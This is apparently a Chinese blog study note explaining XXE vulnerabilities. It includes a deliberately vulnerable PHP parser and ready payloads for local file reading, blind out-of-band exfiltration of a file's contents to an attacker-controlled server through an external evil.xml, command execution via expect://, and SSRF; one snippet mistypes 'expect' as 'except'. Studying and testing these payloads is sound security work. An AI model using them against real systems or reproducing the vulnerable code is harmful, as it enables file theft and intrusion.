XXE漏洞原理&&基础
今年网安必进步!先复习下各种基础。。。。今年至少更新200篇!
原理
攻击者强制XML解析器去访问攻击者指定的资源内容,导致可加载恶意外部文件,利用file协议造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。解析时未对XML外部实体加以限制,导致攻击者将恶意代码注入到XML中,导致服务器加载恶意的外部实体引发文件读取,SSRF,命令执行等危害操作。
一句话概括:用户传入的XML被解析成实体执行
- XXE漏洞产生在外部实体
- 主要有4个利用方向:文件读取,命令执行,DOS攻击,SSRF
- 按照有无回显可以分为两大类
- 无回显可以加载外部实体,返回数据到我们Vps上;或者加载本地实体报错回显
危害:
1.导致可以加载恶意外部文件
2.造成文件读取
3.内网端口扫描
4.攻击内网网站
5.发起dos攻击等危害
基本利用
XXE 和 SQL注入 的攻击方法也有一点相似,也分有回显和没有回显
无回显的情况又称为 blind xxe(类似于布尔盲注、时间盲注),可以使用外带数据(OOB)通道提取数据
有回显
测试代码
<?php
$xml=simplexml_load_string($_GET['xml']);
print_r((string)$xml);//有回显
?>
simple_load_string解析接收过来的XML代码
payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [<!ENTITY file SYSTEM "file:///D://1.txt">]>
<root>&file;</root>
无回显
先使用php://filter获取目标文件的内容,然后将内容以http请求发送到接受数据的服务器来读取数据。
虽然无法直接查看文件内容,但我们仍然可以使用易受攻击的服务器作为代理,在外部网络上执行扫描以及代码。
<?xml version="1.0"?>
<!DOCTYPE test[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=D:/1.txt">
<!ENTITY % dtd SYSTEM "http://xxx.xxx.xxx.xxx/evil.xml">
%dtd;
%send;
]>
evil.xml
<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://xxx.xxx.xxx.xxx/?content=%file;'>"> %payload;
//%号要进行实体编码成%
命令执行
在php环境下,xml命令执行需要php装有expect扩展,但该扩展默认没有安装,所以一般来说命令执行是比较难利用,但不排除
php
<?php
$xml = <<<EOF
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "except://ls">
]>
<x>&f;</x>
EOF;
$data = simplexml_load_string($xml);
print_r($data);
?>
xml
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "expect://ifconfig">
]>
<root><name>&xxe;</name></root>
SSRF
SSRF的触发点通常是在ENTITY实体中
<?xml version="1.0" ?>
<!DOCTYPE ANY [
<!ENTITY % ssrf SYSTEM "http://ip:port">
%ssrf;
]>
问我为什么3年还是在学基础?很好,我只能说考研把这些忘完了捏。今年护完网打算就在今年把,js,java代码审计,内网,一系列的红队东西全部学透,一起加油!
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。后续可能会有评论区,不过也可以在github联系我。